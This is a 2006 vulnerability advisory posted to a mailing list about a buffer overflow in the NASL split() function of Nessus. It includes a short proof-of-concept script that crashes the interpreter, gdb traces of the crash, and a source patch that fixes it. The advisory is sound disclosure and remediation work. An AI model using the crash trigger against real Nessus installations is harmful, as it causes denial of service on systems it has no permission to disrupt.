NASL 'Split' function Buffer overflow Vulnerability
Hi,
We have discovered a vulnerability in libnasl of Nessus which can
cause Denial of
Service. We have attached the advisory which details the vulnerability and
also has the fix. A patch for libnasl 2.2.4 is included.
Thanks,
OS2A Team.
NASL Split() function Buffer Overflow Vulnerability
OS2A ID: OS2A_1005 Status:
20/04/2006 Issue Discovered
21/04/2006 Fixed
25/04/2006 Advisory Released
Class: Buffer Overflow Severity: Medium
Overview:
-------------
Nessus is a popular remote vulnerability scanner with a plugin
architecture, each security test is written as an external plugin. The
Nessus Security Scanner includes NASL, Nessus Attack Scripting Language)
a language designed to write security test easily and quickly.
Description:
--------------
A buffer overflow vulnerability exists in the implementation of split()
function in NASL.
Impact:
--------
This causes nasl to consume a large amount of CPU and memory resources
and stop responding. Execution of arbitrary commands on the vulnerable
host may be possible.
To exploit this, an attacker need to have the ability to execute nasl
scripts using the 'nasl' command.
Affected Software(s):
---------------------
Nessus 3.0.2 and prior
Nessus 2.2.7 and prior
Proof of Concept:
-------------------
Vulnerability is triggered by giving some special extra characters to
the 'sep' parameter in split() function.
$ cat jay.nasl
str = "12345:123,122";
array = split(str, sep:(":"||","), keep:0);
$ nasl jay.nasl
Analysis:
--------------------------------
1. nessus/nasl 3.0.2, Linux kernel 2.6.11
(gdb) run jay.nasl
Starting program: /opt/nessus/bin/nasl jay.nasl
Reading symbols from shared object read from target memory...(no
debugging symbols found)...done.
Loaded system supplied DSO at 0x70f000
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
[New Thread -1208740160 (LWP 2345)]
(no debugging symbols found)
[2345](jay.nasl:0x10) [nasl_memory_manager] realloc: invalid size 41943552
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208740160 (LWP 2345)]
0x0806b90f in ?? ()
(gdb) bt
#0 0x0806b90f in ?? ()
#1 0xbfe551d4 in ?? ()
#2 0x0823b858 in ?? ()
...
...
#23 0xbfe551d4 in ?? ()
#24 0xbfe551e0 in ?? ()
#25 0x00bf1908 in _dl_fixup () from /lib/ld-linux.so.2
Previous frame inner to this frame (corrupt stack?)
2. nessus/nasl 2.2.7, Linux kernel 2.6.11
$ gdb nasl
(gdb) run jay.nasl
Starting program: /home/libnasl/nasl/nasl jay.nasl
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x826000
Program terminated with signal SIGKILL, Killed.
The program no longer exists.
Stack trace:
alloc_tree_cell (lnb=0, s=0x0) at nasl_tree.c:37
nasl_split (lexic=0x96cec18) at nasl_text_utils.c:970
nasl_func_call (lexic=0x96cb578, f=0x96cccc0, arg_list=0x96cb380) at
nasl_func.c:277
nasl_exec (lexic=0x96cb578, st=0x96cb4d8) at exec.c:1068
nasl_exec (lexic=0x96cb578, st=0x96cb500) at exec.c:1129
nasl_exec (lexic=0x96cb578, st=0x96cb528) at exec.c:875
nasl_exec (lexic=0x96cb578, st=0x96cb550) at exec.c:883
execute_nasl_script (script_infos=0x96cad20, name=0xbf90bad3 "jay.nasl",
cache_dir=0x0, mode=16)
at exec.c:1828
main (argc=2, argv=0xbf90b464) at nasl.c:244
Solution:
-----------
Adding a validation check for the 'sep_len' variable, in nasl_split()
function implemented in nasl_text_utils.c will fix this issue.
i.e., in the function tree_cell* nasl_split(lex_ctxt* lexic),
if sep is not NULL and sep_len = 0, call nasl_perror() as given below.
if (sep != NULL)
{
sep_len = get_var_size_by_name(lexic, "sep");
if(sep_len==0)
{
nasl_perror(lexic, "split: invalid 'sep' argument value\n");
return NULL;
}
}
A patch for libnasl 2.2.4 is provided,
## --------split.patch------------- ##
--- libnasl/nasl/nasl_text_utils.c 2004-10-27 22:36:53.000000000 +0530
+++ libnasl_patch/nasl/nasl_text_utils.c 2006-04-21
18:57:08.000000000 +0530
@@ -959,7 +959,16 @@
sep = get_str_local_var_by_name(lexic, "sep");
if (sep != NULL)
+ {
sep_len = get_var_size_by_name(lexic, "sep");
+ if(sep_len==0)
+ {
+ nasl_perror(lexic, "split: invalid 'sep' argument value\n");
+ return NULL;
+ }
+ }
+
+
keep = get_int_local_var_by_name(lexic, "keep", 1);
retc = alloc_tree_cell(0, NULL);
## --------split.patch------------- ##
Credits:
-----------
Jayesh KS of OS2A has been credited with the discovery and providing the
fix for this vulnerability.